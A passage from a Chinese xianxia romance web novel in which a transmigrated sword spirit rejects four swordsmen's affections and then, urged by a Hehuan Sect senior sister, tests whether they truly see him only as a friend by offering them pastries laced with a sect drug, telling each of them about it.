很近了很近了很近了!贺果知紧张得心脏都要跳出来。 他把匕首拔出一点。 此时他和霍闻星的距离很近, 不到半尺。 这是很好的机会。 匕首拔出更多,贺果知控制不住叭叭:“刚才林师姐说,疼痛会让你清醒, 我随便刺一下,你别怕。” “对不起对不起对不起。”贺果知一叠声道歉, 匕首已经被他全拔了出来。 贺果知没有闭眼,他怕刺错地方,用力—— 一声闷响。 贺果知清晰感受到,他握住的匕首,如何穿透衣裳,再刺穿紧实的皮肉。 泛着寒光的匕首没入剑修的胸膛,胸前的白衣很快被染红。 贺果知的视野拔高,他缓缓睁大眼。因为霍闻星动作,另一只手里拿的刀鞘哐当一声掉到地上。 在他刺的时候,霍闻星弯腰,托着屁股,把他抱了起来。贺果知太紧张了,被抱起来的时候一点都没反应过来,于是直挺挺把匕首扎下去。 看着渗出的血,他想捂住,但是摸到了一手湿热,以及感受到胸腔之中,沉稳有力跳动的心脏。 “我……我对不起,你为什么要动?你这个时候抱我干什么?”贺果知急得眼睛都要红了。 “没事。”霍闻星淡淡道。 贺果知看到,霍闻星眼中的桃红,淡了很多,只剩下很浅的粉。 “不用道歉。”霍闻星说。 贺果知动了动唇,依然忍不住想问,动什么,差一点,他就要刺到心脏的位置了! 霍闻星:“该道歉的是我,是我不好。” “这个时候,想的是怎么欺负你。” 霍闻星垂下眼,淡淡说出这句话。 贺果知:“……” 贺果知本来挺着急的,而且还有点生气。霍闻星这句话,贺果知噎住了,变得又羞又气,话都说不出来。 啊啊啊啊啊啊。 霍闻星是怎么做到用一张禁欲脸,说出这样的话的! 这里距离他们之前休息的地方不远,霍闻星扫了眼,问他:“想在外面休息,还是去剑里面?” 贺果知有气无力:“剑里面。” 说完这句话,贺果知也没等霍闻星的回答,刺溜一下飘回剑里面。 贺果知进去后,明知他的法术对霍闻星而言是个摆设,还是单方面把剑封住了。 他现在脑子好乱,完全不想出去。 贺果知飘回剑里面,白衣剑修的怀抱空了。他看了眼空落落的手,什么表情也没有,握住匕首,把插入胸膛的匕首拔了出来。 把其他三人扔到水里面的林樊吟,走过来了。 林樊吟上下打量霍闻星,末了轻嗤一声:“你现在是不是很爽?” “被他这么刺。” “很爽吧。” 霍闻星淡漠看过去一眼,他将匕首收入刀鞘:“合欢宗的相思术对我还有些影响,有劳林师姐了。” 他不接话在林樊吟意料之中。 林樊吟把药扔给他:“三粒,半个时辰后再吃一次。走吧,去那边泡着。” 贺果知在剑里面,可达鸭抱头。看到林樊吟走过来,等着林樊吟要给霍闻星用药,然而林樊吟说的话,听得贺果知要碎掉了。 很、爽? 贺果知他不想懂,可他也算“阅文无数”,疼痛在某些时候,是会带来爽感的。有一种叫做,“痛肉”。 呜。 贺果知继续可达鸭抱头。 也许是逃了一晚上太累了,霍闻星的剑里面温暖舒适,没多久他就睡过去。等醒过来,贺果知没如往常一样飘出去。 反正剑里面也挺舒服的,他一直呆着就好了。 一直到离开太岁秘境,贺果知也没出来。 也不是不想出去,可出去之后,他要面对霍闻星他们。 贺果知没想好怎么办。 他们都是贺果知穿到这个世界后,很好的朋友,在最初贺果知隐隐有点不安的时候,他们就在他身边。可目前这种情况,他想和他们当朋友,看起来却不太能继续当朋友了。 同时,贺果知无法回应他们的感情。 他不是这个世界的人,他像是一缕孤魂。他biu的一下穿过来,也不知道什么时候biu的一下他穿回去。如果有回去的机会,贺果知很想回去。在他原本的世界,有爱他的父母和大哥。 想不出结果,贺果知索性躲在剑里面不出去了。 这对霍闻星他们来说,也算是一种无言的拒绝了吧? 而这段时间,他们或许也能冷静下来,重新审视自己的感情? 贺果知穿来后,在剑里面时间不多,差不多想去哪儿去哪儿。在太岁秘境躲着不出来,等回到竹舍,贺果知实在憋不住继续“装死”,这天清晨,他把自己挣脱霍闻星的手,咻地飞回去,把自己搁到竹舍内的茶几上。 此时,霍闻星正要和裴连卿同去问道峰听讲。 裴连卿问了句:“果汁,午饭想吃什么?” 贺果知在剑里面:“什么也不想吃。” 裴连卿应了一声,和霍闻星离开竹舍。 竹舍内安静下来,贺果知松口气。 贺果知从剑内飘出来,蔫巴巴趴到窗边矮塌的茶几上。茶几上摆了茶水点心果子,都是他喜欢的。贺果知趴着,顺手要拿个果子吃,手伸到一半顿住。 霍闻星对他好,因为霍闻星喜欢他。那他不接受霍闻星的感情,似乎不应该再享受这些好了。 这几天他饿了就吃霍闻星的灵力,有段时间没真的吃到什么了。 贺果知起来,把点心茶水搬到屋内的桌上,远离这里。 闻着太香了,他怕忍不住。 做完这件事,贺果知重新趴回茶几上。 这时,很轻的一声,距离霍闻星的竹舍不远的另一间竹舍,门开了。贺果知抬眸,看到刚出门的程相烽。 程相烽挑眉,有些意外这个时候看到他。 贺果知:“!” 贺果知想也不想,准备往剑里面钻。此时他却看到,程相烽猜到他的意图,转身又回去了。 贺果知顿住。 程相烽又回去了,那他在外面再呆会儿? 正当他想着,程相烽竹舍的门又开了。 贺果知:“!” 预备钻。 程相烽长眸带着笑,看他一眼,又回去了。 贺果知:“……” 可恶! 第三次,贺果知看到程相烽出门,没犹豫直接钻进去了。 程相烽扬声:“还有个师门任务没完成,要晚些回来。” 他站在院中等了等,没等到回应。也没再说什么,御剑离开。 贺果知在剑里面,用剑在窗子后冒个头,确认程相烽走了,才从剑里面飘出来,重新趴回桌上。 贺果知还想和他们做朋友。 可要拒绝,恐怕就不能做朋友了。 说到底,贺果知没做好失去他们的准备。 穿来之后,和贺果知最好的就是他们了。 不应该拖着不回应不拒绝,可贺果知的私心,让他无法面对拒绝的后果。如果一开始他穿到这个世界,一直是一个人,他或许可以忍耐,可有了朋友相伴,很难再接受恢复成一个人的状态。 好难。 贺果知实在没办法,他把林樊吟的话本找出来看。 日头偏移。 也不知道过了多久,贺果知余光看到一抹黑。 是执法峰的巡逻弟子,带队的正是谢振涛。 贺果知看了一眼,正好对上谢振涛看向这边的视线。 贺果知一顿,二话不说,丢了话本,钻回剑里面。 他怎么忘了,竹舍前的路是执法峰弟子的固定巡逻路线,谢振涛作为执法峰弟子,到成为首席弟子,也一直都会在巡逻时经过这里。 想了想,贺果知把锅甩给话本。 话本太好看了。 等了会儿,贺果知从剑里面钻出来,谢振涛他们已经御剑走了。 等到快中午,贺果知把话本放好,重新钻回剑里面。霍闻星和裴连卿从食肆带午饭回来,贺果知也没有出来。 下午去问道峰,霍闻星问他:“要去吗?” 贺果知:“不去。” 霍闻星和裴连卿走了。 贺果知又飘出来。 到了下午,贺果知躲得明显熟练多了,程相烽回来又出去,谢振涛巡逻经过这里,贺果知都飘回去,完美闪避。 这样贺果知放松了一点。 逃避可耻, 但有用! 一下午,贺果知躲人看话本。 直到日暮,贺果知活动一下肩膀、手腕,把书放下来。刚巧,他感受到霍闻星回来了,于是贺果知不急不慢,钻回到剑里面。 没多久,霍闻星和裴连卿回来,程相烽也回来了,和他们前后脚。 程相烽手里拎着几坛子酒,道:“刚买的桃花酿,晚上赏月喝酒如何?” 贺果知在剑里面,在窗子的边缘探出一点剑身。 程相烽一左一右揽住霍闻星、裴连卿的肩膀,将他两个师弟搂过来,笑道:“从太岁秘境出来,还没有庆祝。” 他们在太岁秘境寻到了各自机缘、宝贝,还端了一窝邪修,是要庆祝一下。 裴连卿笑道:“好,正有此意。” “晚上我来做饭。” 霍闻星亦是颔首。 贺果知默默把自己塞回茶几底下。 要是他们没有中林樊吟的法术,还和之前一样,他也可以和他们一起庆祝。 现在贺果知知道,程相烽、裴连卿不喜欢霍闻星,可单纯的师兄弟情,贺果知看来也挺好磕的。 贺果知没看到,当他把自己塞回茶几底下,院内交谈的三个剑修,都似有似无朝窗子这边看了一眼。 这时,一道贺果知熟悉的低沉声音传来。 “你们都在,正好和我去一趟执法峰。” 程相烽:“什么事?” 谢振涛:“太岁秘境遇到的邪修,和在春深城遇到的,似乎有些联系。春深城你们也在,和我一起去再审一遍邪修,正好你们也回忆一下,有没有什么忽略的细节。” 程相烽:“明天再去怎么样,这酒……” 谢振涛替程相烽把桃花酿放到院中是石桌上:“明天再喝,算我一个。” 裴连卿笑道:“走吧,先审邪修。” 四人御剑离开,院子内安静下来。 嗯? 银白长剑在窗子后探头。 他们就这么走了? 审邪修,还要回忆在春深城那日的细节,一听就很耗费时间,很久不会回来。 贺果知从剑里面飘出来,他的视线,不由得落在石桌上的桃花酿上面。 这几坛桃花酿,是从剑宗山下青锋城中的最大的酒楼里买回来的,味道清甜,桃花的香气馥郁。贺果知之前喝过。 这段时间他没吃什么东西,摆在贺果知面前的是他们一直不让他多喝的酒,还是好喝的桃花酿,贺果知边想着,已经飘到石桌旁了。 这里有四坛,他每个打开喝一点点,这谁能发现啊。 不行。 贺果知打开一坛,嗅到桃花酿的香气,却又清醒过来了。 这是程相烽买回来的,他这是在偷喝他们的酒。 好想喝,闻起来好香的样子。 这时,关闭的院门打开,程相烽推门而入,懒洋洋道:“想喝就喝,不过先吃块点心垫垫,也不能多喝。” 贺果知震惊。 更让他震惊的在后面,不止程相烽,在他后面,谢振涛、裴连卿、霍闻星三人也都在。 贺果知趴在石桌边缘,一手拿着酒坛的塞子,和他们对视。 贺果知脑海一片空白,几乎是僵硬地把塞子扔掉了,一口气飘回剑里面。 救救救救救…… 竟然拿桃花酿钓剑灵! 刚才那就是一出戏,让贺果知以为他们走了,实际上他们用了遮掩的法术,就在门外面。 他们故意的! 贺果知回到剑里面,竹舍的门打开了。 贺果知还把剑塞在茶几底下,裴连卿走到茶几旁,温声:“果汁,别怕,不做什么的。” 贺果知咻的一下,在裴连卿碰到剑身之前飘走,用法术打开柜子的门,一口气扎到被褥的最下层,还用法术把衣柜封住。 谢振涛打开柜门:“别一直躲着我们,聊聊好不好?” 贺果知还想往屏风后面的浴桶那冲,看清后一个急停——程相烽靠在屏风旁,抱臂不紧不慢看过来。 贺果知:“……” 贺果知转身,银白长剑一头扎到床铺上,把自己滚到床铺的被褥下面,枕头被褥什么的都被他堆在前面。 冷淡的嗓音响起:“出来好吗?” 贺果知听到霍闻星的声音。 霍闻星在床铺这里,手没入贺果知躲藏的被褥之间。修长的手指距离贺果知有段距离,并没有握到剑身上,而是在等待着。 贺果知要哭了。 躲不下去了。 半晌,闷闷的声音从被子里传出。 贺果知:“你远一点,我自己出来。” 霍闻星应道:“好。” 他离开床榻这里,走远了。 贺果知心中疯狂安慰自己,没事,问题不大,小场面,不慌。这么把自己哄了一通,贺果知从被褥里出来,移开被他挡在前面的枕头。 贺果知看来,他的动作不算利索,挺磨蹭的,但他们没有催他。 贺果知稍稍松口气,从剑里飘出来,抱着剑坐在床上。 这么折腾一通,窗外天色暗淡下来,竹舍内点起灯。烛火照亮屋内,同时映照在青年身上。这几日在剑里没出来,他也没管乌色的长发,此时全都散下来,顺着瘦削的肩膀滑落。他穿的是白衣,乌色的发和白衣,黑白分明。 ——贺果知差点被自己松出的那口气噎死。 竹舍内不大的空间,或坐或靠了四个剑修。 裴连卿坐在靠窗的矮塌那,手撑着脸,长眸微弯望过来。谢振涛倚在衣柜那,在右边,程相烽在屏风那,在左边。而霍闻星,则是拖了把椅子坐到距离床榻不远处,抬眸看过来。 他们的视线,汇聚在他的身上。 不动声色,没多说什么,可却轻松带给贺果知,他无处可逃,无处可躲的感觉。 贺果知眸光涣散一瞬。 他缓缓低头,看了眼抱在怀里的剑。 现在回去还来得及吗? 第28章 第28章 他的情绪很好懂, 竹舍内四个剑修一眼能看明白。 想躲回剑里面。 对四个剑修而言,好不容易才出来,怎么会让他回去。 “怎么了?”距离贺果知最近的霍闻星开口。 “一直躲在剑里面。” 闻言, 贺果知看着他们,默默抱紧怀中的剑, 视线挨个看他们, 一时没出声。 贺果知沉默,裴连卿笑着问了一句:“是不是在太岁秘境,我对你做的……”裴连卿顿了一下, 不得不再补上一句, “还有他们对你做的, 吓到你了。你讨厌我们?” 程相烽点了下头:“确实挺过分的。” 略抬下颌,道:“拿你手里的剑打回来, 解气就行。” 谢振涛没有说话, 静默地看着贺果知,等待他的回答。 什么讨厌气不气的…… 贺果知垂下眼, 低声:“不讨厌你们,也没有生气。” “那天是你们为了阻止林师姐的法术, 才被影响做出一些事, 我知道那不是你们的本意。” 有的话, 一开口, 那就好说了。 贺果知在心里叹口气。 该来的总会来。 逃避只是一时的, 最终还是要面对。 这么想着,贺果知抬起头,认真看他们, 说:“你们心悦我,但是……我不喜欢你们。” 这句话一说出来, 竹舍内静得可怕,只有烛火微微摇曳。 程相烽剑眉压了些,还是笑着,但语气有些沉:“是不是因为,我们三个是师兄弟,和谢振涛的关系也不错,你担心喜欢其中一个人,会伤害我们之间的情分?” 贺果知:“不是的。” “我不喜欢你们,” “每个人。” 贺果知也不知道为什么,在四个剑修的注视中,莫名心虚,说到后半句话,声音低下去,但他还是咬字清晰地说出来。 沉默。 客观来说,竹舍内的四个剑修,性情不同,还都是天之骄子,贺果知可以“挑选”,选一个合心意的。 但贺果知却一个都不要。 霍闻星打破寂静,冷声询问:“所以躲起来,用这种方式拒绝我们?” “不是的……”贺果知说,“我没想好怎么面对你们。” 贺果知说出这句话,感觉到这句话中的歧义,像是他可能会喜欢他们,他赶忙把剩下的话说完:“因为你们是我很好的朋友,我很自私的,我担心拒绝了你们,就没有朋友了。” 裴连卿温声:“怎么会。即使你拒绝我,我也还是会是你的朋友。” “那我拒绝你,你还喜欢我吗?”贺果知问。 裴连卿一怔,他意识到贺果知要说什么了。 裴连卿的笑微微敛了下去,一贯温润的嗓音有些干涩:“喜欢的。” 贺果知视线从裴连卿身上移开:“你们呢?” “会的。”谢振涛沉声。 程相烽似乎想说什么。 他大多时候都会逗贺果知,刚才还能玩笑开口,现在动了动唇却没能说出什么。 霍闻星没开口,但贺果知对上狭长淡漠的眼,凭着这几年的熟悉,猜到霍闻星的答案。 贺果知:“以朋友的身份在我身边,却还是喜欢我。” “之前你们都对我很好,我以为是朋友之间的情谊,现在想,其实你们对我都是特别的。我日常不用操心什么,老霍这里什么都有,我想要什么都已经准备好了。连卿每次做的饭,都是我喜欢的,大师兄喜欢吃辣,但我不太能吃辣,桌上几乎没出现过辣的菜。大师兄总是带我玩,虽然有时候总让我生气,感觉和欺负人似的,一开始还对我有点凶。你们有时不在竹舍,去问道峰、清平峰,谢师兄也会来陪我。” 竹舍内的气氛是寂静沉闷的,但贺果知这么说出来。 气氛沉闷中又微妙起来。 贺果知专心在说,没有读懂微妙的氛围,只以为是他说的话太尖锐了。 实际上,在他说话的时候,当他说霍闻星,其余三人带着些许不爽、敌意这样的情绪,默不作声瞥去一眼。 要是能说出来,大概是冷笑。 仗着贺果知是他的剑灵,果然肆无忌惮。 说到裴连卿。 大约是暗妒增多。 他和贺果知一起吃一起玩,四个人当中,贺果知最愿意和裴连卿一起吃一起玩了,特别开心。 至于说到程相烽。 那股不爽、敌意反而少了些。 听听贺果知的用词。 生气、欺负人、有点凶。 程相烽:“……” 而听贺果知说到谢振涛,气氛略微凝滞,然后变得更压抑了些。 这可能叫做,“偷家”。 “可我不会喜欢你们,这样太残忍了。” “还是算了吧。” 贺果知只感觉他说了后气氛越来越压抑,简直都要透不过气了。 但贺果知担心不够利落,他说:“要是我会喜欢你们,相处这么久,我早就会喜欢了,不是吗?可是,你们是知道结果的。” 这句话,简直是最锋利的剑,把一切都剖开,无比真实展现在面前。 贺果知狠了狠心。 既然不喜欢,他就不能一边享受着他们对他的好,又给藕断丝连,给他们虚无缥缈的期待,相信他有一天柳暗花明,他会喜欢他们。 “我说完了。”贺果知说。 “你们听懂了吧?” 贺果知垂下眼,一时没听到他们的回答。 贺果知安静等了一会儿,悉悉索索裹上被子,把剑抱到怀里背对他们。 “不早了,我要睡了,你们也早点休息吧。” 他如此说着,只留给他们一个缩在被子里的鼓包。 贺果知背对着他们,抱着剑,把自己埋到被子里,知道他们看不见,额头抵住被他抱得不那么冰冷的剑柄。 呜呜呜。 贺果知难过死了。 简直要哭出来。 以后他没朋友了,一个都没有。他和霍闻星的关系,也只是剑主和剑灵,不会和之前一样。 不行贺果知真的要哭了。 他怕自己忍不住,直接用了一个法术,把屋内的四个人全都送出去,然后用法术把竹舍封上。 程相烽、裴连卿、谢振涛没说什么,只是看了眼竹舍先后离开。 只留下霍闻星。 霍闻星垂眸,在门外站了片刻,传音。 “我能进去吗?” 眼泪滴到袖子上的贺果知:“……” “哦、哦。”贺果知应了两声。 这么说起来,贺果知发现一件事。霍闻星的竹舍里屋,一直都是他在住,霍闻星反而在外间。因为霍闻星晚上并不休息,用修炼来代替睡觉,所以把里间舒服的大床,留给贺果知。 不是朋友了,那似乎也不应该占着。 这么想着,贺果知不哭了,吭哧吭哧把被子叠好,床铺收好,飘回剑里面,然后往外间飞。 遇到要进来的霍闻星。 贺果知:“我去你丹府里,你回去睡吧。” 说完,一头往白衣剑修的丹府里扎。 剑身被握住了。 啊? 贺果知茫然,用剑的视角看霍闻星。 丹府都不让去了? 霍闻星看着他的剑,淡淡道:“你只是拒绝了我,但我和你还是剑主和剑灵,还是同伴,也是朋友。” “也只是这样。” 贺果知愣了一下,反应过来后并不相信:“可是你……” “你误会了。”霍闻星冷声。 “你不接受,我不会强求。若是不信,可以相处一段时间。” 贺果知想起刚才问他们时霍闻星的反应,那时他是确信的。可此时霍闻星冷淡、正经地同他说话,他又怀疑他的判断了。 霍闻星:“你可以去丹府,也可以去外间睡。” “随你。” 言罢,霍闻星松开剑身,迈步进入里间。 贺果知看着霍闻星的动作,明白了他的做法。贺果知说他不止把他当作朋友,对他好,所以此时他把这种特别收了回去。贺果知没穿来前,里间本就是霍闻星睡的地方。 看到霍闻星进去,盘膝坐到塌上调息,贺果知反而松口气。 这样很好。 他在这个世界,也许还是有朋友的? 贺果知想了想,没去丹府,而是把门关上后,飘到外间的床榻。小了点,但是个床,睡起来也是舒服的。 也是因此,贺果知没有看到,当他躺下熄灭烛火,黑暗中调息的剑修睁开眼。 霍闻星到屏风后脱了外衣,只着一件里衣。 修长强悍的身躯躺下,盖上贺果知一直盖的被子。 眉眼疏冷的剑修合上眼。 翌日,贺果知醒的时候,霍闻星已经不在竹舍了。贺果知磨蹭一会儿,把被褥叠好放。贺果知转了一圈,发觉这间住了五年多的竹舍和之前不一样了。 茶几、桌上,只有茶水,没有他点心果子瓜子果脯。 贺果知倒了点茶水喝。 他并不难过,反而放心了很多。 霍闻星果然和他说的一样,只是当作朋友、同伴,那些因喜欢的“特殊”,没有了。贺果知饿了,从剑里面揪了一块霍闻星的灵力吃。 贺果知很喜欢靠窗的这个矮塌,经常在这看话本,也是在这,他经常遇到比霍闻星、裴连卿晚起的程相烽。 贺果知想了想,走到矮塌这里把话本拿走,起身时,还是遇到从竹舍出来的程相烽。 贺果知默了一瞬。 他们现在的关系,算是路人? 那当作没看到吧。 这么想着,贺果知拿了话本准备离开。 散漫的声音响起:“贺果知,不用躲我。” 贺果知停下,转回身:“没有躲你。” 程相烽走过来,他看起来还有些困,眉眼都带着倦意,扫了他一眼,说:“重新认识一下,我是你剑主的大师兄,今日起我们也算朋友了。” 什么? 贺果知没弄明白程相烽要干什么。 看到他茫然,程相烽懒洋洋的,说:“你都说明白了,我没什么不明白的。” “你可以试试,看我听明白没有。”程相烽道。 贺果知微微皱眉看着他,谨慎地点了一下头。 程相烽见他点头,嗯了一声走了。 贺果知站在原地思索了一会儿。 程相烽是和之前不一样了,以前见了他随手捏他的脸,还要逗他,今天客客气气的,也喊他贺果知。 昨天晚上的难过,淡去了很多。 他还是有朋友的,两个呢。 既然坦诚了,那贺果知也不用带话本去别去看。 关上院门后,程相烽用了一个幻术小纸人,小纸人变成他的样子,驾驭纸剑离开。程相烽靠着院门,并没有离开。 中午,贺果知看到提着食盒和霍闻星一起回到竹舍的裴连卿。 裴连卿见到他,招呼:“果汁,过来吃饭。” “差点忘了,还没给你说。”裴连卿温和笑道,“是‘果知’,你名字的两个字。” 霍闻星和程相烽,先后和他说了还是朋友,再看裴连卿如此,贺果知心中有了猜测。 看起来是他对霍闻星他们的判断错了,分手还能当朋友,何况他只是拒绝了他们的表白。昨天晚上交谈的时候,都是比较上头的状态,情绪也较为激动,等冷静下来想,不必强求。 “以后我都会这样称呼你的。”裴连卿道。 裴连卿打开食盒,里面的菜样式变了,多了辣菜,也没了贺果知平时爱吃的红糖糍粑这样的甜品菜。 贺果知安心和裴连卿他们吃了一顿午饭。 午饭后,裴连卿去了厨房。 他伸手去乾坤袖中掏了掏,掏出贺果知惯常吃的果子,用刀削掉皮,然后在果肉上刻下两个字。 果汁。 低下眼看了会儿,他把这个果子吃掉了。 隔天,贺果知第二次见到巡逻经过竹舍的程相烽。 昨天谢振涛依然和执法峰的弟子巡逻,但他目不斜视,仿佛没看到贺果知。这一次,贺果知以为同样如此,然而谢振涛脱离那队巡逻的弟子,御剑过来。 “有什么事吗?”谢振涛问。 贺果知微怔:“……没什么。” 谢振涛颔首,沉声:“看到你看我,以为你有什么事。” “既然无事,那我就走了。” “对了,”谢振涛话锋一转,“还有件事给你说,那天晚上我有些不理智,这两天想明白了。你依然是我的朋友,仅此而已。” 贺果知应了一声。 弯了眼说:“谢师兄你也是我的朋友。” “嗯。”谢振涛话说完,转身御剑离开。 看着谢振涛离开,贺果知想,果然,和他推测的一样,也许是氛围使然,那时他们说“依然喜欢”,可冷静下来发现,这完全没必要。 谢振涛御剑回到执法峰巡逻的弟子旁。 谢振涛大多比较严肃,但也能开玩笑。 巡逻弟子们在树下休息时,有执法峰弟子出声:“谢师兄。” 那弟子嘻嘻笑道:“这几天谢师兄的脸色,不知道的以为被心上人给甩了。” 众人八卦的目光落过来,被谢振涛一个眼神给压回去。 “不想休息了?” “没有没有。”众弟子赶紧说。 有人道:“谢师兄,竹舍那段路是不是有什么问题,看你回头看了两次。那有什么鬼怪邪祟吗?” “没有。” 谢振涛说。 一晃半个月过去,起初贺果知还有点担心,那些话只是他们的托词,经过这半个月的观察,贺果知彻底放下心来,如他们所说,是朋友,也只是朋友。 这天傍晚刚吃完晚饭,林樊吟来了。 太岁秘境的邪修,有些死在林樊吟手下。离开太岁秘境后,林樊吟来到剑宗,带来那些被她折磨死的邪修吐露处的线索。林樊吟原本回宗门了,配合执法峰审讯又过来。 她一日和贺果知在书铺相遇,闲聊几句,发现贺果知和林樊吟在话本喜好上极为相近,于是林樊吟时常找贺果知一起去,一来二去两人熟悉起来。 林樊吟依然带着帷帽:“走了,今日傍晚书铺刚到了一批书,一起去看看。” 贺果知一口答应:“好啊。” 要下山距离有些远,贺果知从霍闻星这里拿走剑,挥手:“老霍,我走了。看完就回来。” 霍闻星看他,淡淡应了一声。 厨房中的裴连卿随口道:“酿梨还没蒸好,回来再吃吧。” “好。”贺果知应声。 程相烽恰巧回来,遇到贺果知和林樊吟往外走,他在门边,等林樊吟过去,抬腿很无赖似的拦了一下贺果知。 等贺果知看过来,又把长腿放下来。 “去吧。”程相烽说。 贺果知和林樊吟走了。 林樊吟带着贺果知,不是御剑,而是坐在桃红的纱带上。这是合欢宗弟子的通用法器,如同剑宗弟子们的剑。 一直到出山门,林樊吟隔着帷帽,已经看了贺果知一会儿了。 贺果知不解,托着脸和林樊吟对视片刻,问:“林师姐,我脸上有什么东西吗,你看了我好久了。” 林樊吟:“他们是不是不行?” 贺果知:“他们?” 林樊吟:“嗯,霍闻星他们。” 这个世界,虽然主角们的感情线崩了,但依然是以小说为基础的世界,小说的主角,哪儿有不行的。 贺果知:“怎么会。” 林樊吟稀奇:“那你竟然还好好的。” 贺果知:“……” 贺果知震撼于林樊吟说的话,脸爆红:“这和我有什么关系?” 林樊吟伸手,抬起贺果知的下颌,指腹轻轻碾了下他的下唇,凑近了说:“他们喜欢你啊。想睡你,操.你的那种喜欢。你又天天在他们眼前晃,除了不行,我找不到别的理由。” 贺果知感觉他的脸都要烧起来了,解释:“不是这样……” 他把回来后发生的事,简略告诉林樊吟。 听完,林樊吟冷笑一声:“真能装啊。” 贺果知:“?” 帷帽的垂纱后,林樊吟美目睨向贺果知:“那四个剑修,真能装啊。” “他们在温水煮你。” “你本来是要彻底离开他们的,但现在你还和他们是朋友。而且一开始你还警惕,现在松懈了,认为他们真的只把你当朋友。你回想一下,你们现在相处的情况,是不是比半个月前更加亲密?” 林樊吟:“再过不了多久,你们的相处就会恢复成之前的状况。” 林樊吟的话,让贺果知动摇,可他想起霍闻星他们对他说的话,他道:“不会的,他们说了。” 林樊吟凑近,撩起帷帽和贺果知耳语:”相信我,我比你更懂男人。” 她勾起艳色的唇。 “是与不是,一试便知。” 第29章 第29章 天将暗未暗, 竹舍笼罩在暮色中。 院子门口,贺果知紧张地低头看了眼食盒,摸摸盖子, 又看一眼。 贺果知心虚得厉害,担心被听到, 林樊吟在他身边, 他依然选择传音:“林师姐,这种掺药的点心他们吃过之后,如果有喜欢的人, 那么身体会有反应, 没有喜欢的人, 身体什么反应都没有。” 林樊吟:“对。” 林樊吟:“你不是已经吃过了。” 是的,贺果知吃了加了合欢宗秘药的点心, 一个时辰后, 他什么事也没有。 起初得知的时候,贺果知震惊这就是修仙文吗, 书中的合欢宗竟然有这样的秘药。林樊吟告诉他,因为他们宗门内的一位长老, 坚信身体才是最诚实的, 于是专门研制出来。 “去吧。”林樊吟的声音, 在贺果知耳畔响起。 她替贺果知推开院门。 “没有喜欢的人, 身体不会有任何反应的。” 贺果知走进院子。 回头看了眼, 林樊吟还在门口。 隔着帷帽的垂纱看不清,大约是勾唇笑了一下。 凭这几日贺果知对林樊吟的了解,林樊吟可能是在说, 他不是确信他们只把他当作朋友,那试一下又何妨。 反正……什么事都不会有的。 贺果知提着食盒, 在竹舍内转一圈,发现霍闻星他们都不在,他用传音符给他们传音,得知霍闻星和程相烽练剑去了,裴家有人来,裴连卿去见裴家人了。至于谢振涛,倒是在执法峰。 贺果知去执法峰找谢振涛。 执法峰弟子和他们一样,都住在竹舍里面。 一名执法峰弟子领贺果知进去,推开院门后扬声:“谢师兄,贺师兄来找你!” 这名执法峰的弟子喊他师兄,是因为他们应该喊霍闻星师兄,作为他的剑灵,也被称作师兄。 谢振涛单独住一个院子。 闻声,谢振涛推门出来。 谢振涛刚沐浴完,漆黑的长发还在往下滴水,用帕子擦拭。上身是白色的里衣,穿得比较匆忙,领口微敞,胸肌半露。 看到他,谢振涛一顿,把帕子搭到宽阔的肩膀上,问:“你怎么过来了?” 贺果知让他自己的视线,只停留在谢振涛脸上。 “买了些点心,带给师兄吃。” 谢振涛扫了眼他手里的食盒,让开门:“进来说。” 贺果知进去。 谢振涛的竹舍内十分简洁,只有床榻、桌柜等这些必要的物件。 给贺果知说稍等之后,他去了里间。 等出来之后,谢振涛的头发干了,用发带束好,深黑的执法峰弟子校服也穿好。 “一样买了一点,有甜的有咸的。”贺果知说着,从食盒内拿出几个盛着点心的小碟放到桌上。 谢振涛在桌边坐下来,看到贺果知拿出的点心,他眸光微顿。 深沉的目光,无声转向贺果知。 谢振涛是执法峰首席弟子,捉拿闻讯也在他职责范围之内,因此谢振涛看人的目光,是十分锐利的锐利,仿佛能一眼读出别人的内心。 但他这么看了贺果知一眼后,只道:“我不常吃这些东西,你觉得哪个好吃?” 贺果知刚回过神。 谢振涛那一眼,看得贺果知心尖抖了抖。 像是贺果知什么都没说,谢振涛已经看出点心有问题了。 也许,谢振涛已经看出来了? 冷静,小场面! 贺果知如此劝说自己,可是话出口,还是因为心虚有一点慌乱。 他避开谢振涛的视线:“谢师兄,点心里加了一点东西。” 贺果知咬牙:“但……但是不算会对你的身体有损害,我已经吃过了,你放心。” 谢振涛本来沉默听着,听到他这句话,微微蹙眉:“你吃过了?” 贺果知:“嗯嗯,你……” “手给我。”谢振涛打断他的话。 贺果知一愣,抬头:“啊?” 谢振涛再道:“手。” 贺果知把手递过去,谢振涛握着他的手,手指压到经脉上。 片刻后,谢振涛把手收回来,问:“想让我把点心吃了?” 贺果知点头:“是……” 谢振涛没有再问,伸手。 贺果知阻止他:“等等。” 谢振涛用眼神询问。 贺果知:“你可以答应我,吃了点心,但是不会阻止点心里的药效吗?” 贺果知补充:“答应了要算数,我有办法知道你有没有阻止。” 贺果知说的办法,是如果压抑药效,林樊吟可以知道。看是看不出来的,和谢振涛刚才做的一样,林樊吟去探他灵脉才能得知。 谢振涛看向贺果知,目光落在贺果知脸上。 贺果知心虚,眼睫颤了一下。 林樊吟的话出现在他耳边,几乎是戳着他的脑门在说。 你心虚什么?他们不是不喜欢你吗,那吃点心只是吃点心,什么事都没有。要是他们骗了你,呵呵,那吃点加了东西的点心,是不是活该。 贺果知说点心不是简单的点心,加了东西他就心虚。 贺果知正胡思乱想,听到谢振涛问。 “你还没告诉我,哪个好吃。” 贺果知回神,拿了一块桂花糕给谢振涛。谢振涛当着贺果知的面,把那块桂花糕吃了。 贺果知给谢振涛道别,离开执法峰。 贺果知把御剑学了,不过本命剑在霍闻星那,贺果知是用传送符纸回去的。 一推开院门,贺果知看到坐在石桌旁的程相烽。 一玉壶的酒放在石桌上,程相烽手中拿个小玉杯,他若有所思,似在想什么。 看到贺果知回来,举了一下酒杯,问:“要不要喝一点?” 有一点倒是没变。 即使只是“朋友”的关系,程相烽他们也不让贺果知喝太多酒。程相烽说的一点,真的只是一点。 离近了,贺果知嗅到淡淡的梨花香味,这次的是梨花酿。 “要。”贺果知说。 程相烽笑了,给他倒了半杯。 带着梨花清甜,甜甜的酒喝下去,贺果知因心虚产生的过快的心跳,仿佛都平稳了些。 也可能因为,已经说过一遍,再开口有免疫力了! 喝完酒,贺果知将他给谢振涛说的话,再给程相烽说了一遍,包括约定不可以阻止药效。 听完,程相烽放下酒杯,说:“要看我有没有阻止药效,需要探我的灵脉吧?” “可是,”程相烽话锋一转,“你会吗?” 贺果知:“……” 程相烽:“合欢宗的药,要看我有没有阻止药效,也要林樊吟来。” 全中。 呜。 贺果知只好干巴巴问:“那你还吃吗?” 